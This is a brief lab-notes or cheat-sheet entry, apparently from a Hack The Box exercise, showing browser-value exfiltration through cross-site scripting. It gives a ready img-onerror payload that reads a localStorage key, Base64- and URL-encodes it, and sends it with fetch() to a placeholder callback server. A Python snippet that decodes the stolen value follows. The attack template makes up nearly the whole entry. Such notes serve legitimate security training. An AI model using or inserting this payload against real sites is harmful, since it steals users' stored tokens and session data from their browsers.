OOB Exfiltration

Browser value exfiltration through an HTTP callback

JavaScript running in an executable HTML context reads a value from localStorage, Base64-encodes it, URL-encodes the Base64 string, and sends it as a callback query parameter.

<img src=x onerror='fetch("<CALLBACK_URL>/?data=" + encodeURIComponent(btoa(localStorage.getItem("<KEY>"))))'>

localStorage.getItem() returns the browser value. btoa() converts that value to Base64, and encodeURIComponent() preserves Base64 characters such as +, /, and = inside the URL. fetch() sends the encoded value to the callback server.

The received query parameter is decoded in the reverse order.

import base64
from urllib.parse import unquote

url_encoded_value = "<URL_ENCODED_BASE64>"
url_decoded_value = unquote(url_encoded_value)
base64_decoded_value = base64.b64decode(url_decoded_value).decode()
print(base64_decoded_value)

_{Find by: xss, stored xss, browser exfiltration, oob exfiltration, localstorage, btoa, encodeuricomponent, fetch, webhook, callback, url decode, base64 decode · Source: HTB/FeedbackFlux}